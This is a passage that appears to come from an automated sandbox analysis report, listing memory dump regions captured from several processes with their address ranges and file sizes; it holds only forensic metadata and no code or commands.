                                                                                                                                                                                                                                                                • memory/1364-606-0x00007FFF24C00000-0x00007FFF24D18000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                                                                                • memory/1364-532-0x00007FFF35870000-0x00007FFF3588F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                                • memory/1364-535-0x00007FFF24D20000-0x00007FFF24E91000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                                                                                • memory/1364-587-0x00007FFF366B0000-0x00007FFF366BD000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/1364-589-0x00007FFF23CB0000-0x00007FFF24025000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/1364-584-0x00007FFF355B0000-0x00007FFF355C9000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/1364-588-0x00007FFF33080000-0x00007FFF330AE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                • memory/1364-590-0x0000021383510000-0x0000021383885000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/1364-598-0x00007FFF26DB0000-0x00007FFF26E68000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  736KB

                                                                                                                                                                                                                                                                • memory/2284-277-0x000001B6D0580000-0x000001B6D0588000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  32KB

                                                                                                                                                                                                                                                                • memory/2684-187-0x00007FFF35E50000-0x00007FFF35E6F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                                • memory/2684-363-0x00007FFF355B0000-0x00007FFF355C4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                                • memory/2684-66-0x00007FFF26D80000-0x00007FFF271EE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/2684-73-0x00007FFF39F20000-0x00007FFF39F2F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  60KB

                                                                                                                                                                                                                                                                • memory/2684-72-0x00007FFF366B0000-0x00007FFF366D4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/2684-131-0x00007FFF361C0000-0x00007FFF361ED000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  180KB

                                                                                                                                                                                                                                                                • memory/2684-132-0x00007FFF3C2A0000-0x00007FFF3C2B9000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2684-133-0x00007FFF35E50000-0x00007FFF35E6F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                                • memory/2684-134-0x00007FFF26A80000-0x00007FFF26BF1000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                                                                                • memory/2684-135-0x00007FFF35C90000-0x00007FFF35CA9000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2684-136-0x00007FFF37FA0000-0x00007FFF37FAD000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2684-137-0x00007FFF35860000-0x00007FFF3588E000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                • memory/2684-140-0x00000166FB7C0000-0x00000166FBB35000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/2684-139-0x00007FFF324D0000-0x00007FFF32588000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  736KB

                                                                                                                                                                                                                                                                • memory/2684-142-0x00007FFF366B0000-0x00007FFF366D4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/2684-141-0x00007FFF25B20000-0x00007FFF25E95000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/2684-138-0x00007FFF26D80000-0x00007FFF271EE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/2684-143-0x00007FFF355B0000-0x00007FFF355C4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                                • memory/2684-144-0x00007FFF35C80000-0x00007FFF35C8D000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2684-145-0x00007FFF3C2A0000-0x00007FFF3C2B9000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2684-331-0x00007FFF26A80000-0x00007FFF26BF1000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                                                                                • memory/2684-146-0x00007FFF25A00000-0x00007FFF25B18000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                                                                                • memory/2684-232-0x00007FFF26A80000-0x00007FFF26BF1000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                                                                                • memory/2684-356-0x00007FFF35E50000-0x00007FFF35E6F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                                • memory/2684-326-0x00007FFF366B0000-0x00007FFF366D4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/2684-351-0x00007FFF26D80000-0x00007FFF271EE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/2684-364-0x00007FFF35C80000-0x00007FFF35C8D000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2684-361-0x00007FFF324D0000-0x00007FFF32588000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  736KB

                                                                                                                                                                                                                                                                • memory/2684-367-0x00007FFF25A00000-0x00007FFF25B18000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                                                                                • memory/2684-339-0x00007FFF25A00000-0x00007FFF25B18000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                                                                                • memory/2684-325-0x00007FFF26D80000-0x00007FFF271EE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/2684-314-0x00007FFF25B20000-0x00007FFF25E95000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/2684-312-0x00000166FB7C0000-0x00000166FBB35000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/2684-366-0x00007FFF25B20000-0x00007FFF25E95000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/2684-311-0x00007FFF324D0000-0x00007FFF32588000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  736KB

                                                                                                                                                                                                                                                                • memory/2684-309-0x00007FFF35860000-0x00007FFF3588E000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                • memory/2684-296-0x00007FFF35C90000-0x00007FFF35CA9000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2684-360-0x00007FFF35860000-0x00007FFF3588E000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                • memory/2684-330-0x00007FFF35E50000-0x00007FFF35E6F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                                • memory/2684-340-0x00007FFF355B0000-0x00007FFF355C4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                                • memory/2684-359-0x00007FFF37FA0000-0x00007FFF37FAD000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2684-358-0x00007FFF35C90000-0x00007FFF35CA9000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2684-357-0x00007FFF26A80000-0x00007FFF26BF1000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                                                                                • memory/2684-352-0x00007FFF366B0000-0x00007FFF366D4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/2684-353-0x00007FFF39F20000-0x00007FFF39F2F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  60KB

                                                                                                                                                                                                                                                                • memory/2684-354-0x00007FFF361C0000-0x00007FFF361ED000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  180KB

                                                                                                                                                                                                                                                                • memory/2684-355-0x00007FFF3C2A0000-0x00007FFF3C2B9000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2948-615-0x00007FFF208B0000-0x00007FFF208D4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/2948-621-0x00007FFF1FD40000-0x00007FFF1FD59000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2948-534-0x00007FFF35860000-0x00007FFF3586F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  60KB

                                                                                                                                                                                                                                                                • memory/2948-620-0x00007FFF1B4B0000-0x00007FFF1B621000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                                                                                • memory/2948-604-0x00007FFF356A0000-0x00007FFF356AD000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2948-591-0x00007FFF1FD60000-0x00007FFF1FD7F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                                • memory/2948-586-0x00007FFF1FD80000-0x00007FFF1FD99000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2948-611-0x00007FFF208B0000-0x00007FFF208D4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/2948-612-0x00007FFF1A740000-0x00007FFF1A754000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                                • memory/2948-614-0x00007FFF1E740000-0x00007FFF1EBAE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/2948-616-0x00007FFF35860000-0x00007FFF3586F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  60KB

                                                                                                                                                                                                                                                                • memory/2948-585-0x00007FFF20070000-0x00007FFF2009D000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  180KB

                                                                                                                                                                                                                                                                • memory/2948-617-0x00007FFF20070000-0x00007FFF2009D000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  180KB

                                                                                                                                                                                                                                                                • memory/2948-603-0x00007FFF1FD40000-0x00007FFF1FD59000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2948-605-0x00007FFF1FD10000-0x00007FFF1FD3E000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                • memory/2948-618-0x00007FFF1FD80000-0x00007FFF1FD99000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  100KB

                                                                                                                                                                                                                                                                • memory/2948-597-0x00007FFF1B4B0000-0x00007FFF1B621000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                                                                                • memory/2948-607-0x00007FFF1F330000-0x00007FFF1F3E8000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  736KB

                                                                                                                                                                                                                                                                • memory/2948-619-0x00007FFF1FD60000-0x00007FFF1FD7F000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  124KB

                                                                                                                                                                                                                                                                • memory/2948-533-0x00007FFF208B0000-0x00007FFF208D4000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/2948-622-0x00007FFF356A0000-0x00007FFF356AD000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2948-623-0x00007FFF1FD10000-0x00007FFF1FD3E000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                • memory/2948-624-0x00007FFF1F330000-0x00007FFF1F3E8000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  736KB

                                                                                                                                                                                                                                                                • memory/2948-625-0x00007FFF1B130000-0x00007FFF1B4A5000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/2948-627-0x00007FFF26D80000-0x00007FFF26D8D000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2948-626-0x00007FFF1A740000-0x00007FFF1A754000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  80KB

                                                                                                                                                                                                                                                                • memory/2948-613-0x00007FFF26D80000-0x00007FFF26D8D000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  52KB

                                                                                                                                                                                                                                                                • memory/2948-531-0x00007FFF1E740000-0x00007FFF1EBAE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/2948-608-0x00007FFF1B130000-0x00007FFF1B4A5000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/2948-610-0x00007FFF1E740000-0x00007FFF1EBAE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/2948-609-0x000001B4F68A0000-0x000001B4F6C15000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                                                                                • memory/3052-846-0x00007FFF3C4F0000-0x00007FFF3C51D000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  180KB

                                                                                                                                                                                                                                                                • memory/3052-841-0x00007FFF3DDD0000-0x00007FFF3DDDF000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  60KB

                                                                                                                                                                                                                                                                • memory/3052-839-0x00007FFF26370000-0x00007FFF267DE000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                                                                                • memory/3052-840-0x00007FFF3DDE0000-0x00007FFF3DE04000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  144KB

                                                                                                                                                                                                                                                                • memory/3892-157-0x00000202492A0000-0x00000202492C2000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  136KB

                                                                                                                                                                                                                                                                • memory/5544-682-0x00000186CC100000-0x00000186CC108000-memory.dmp

                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                  32KB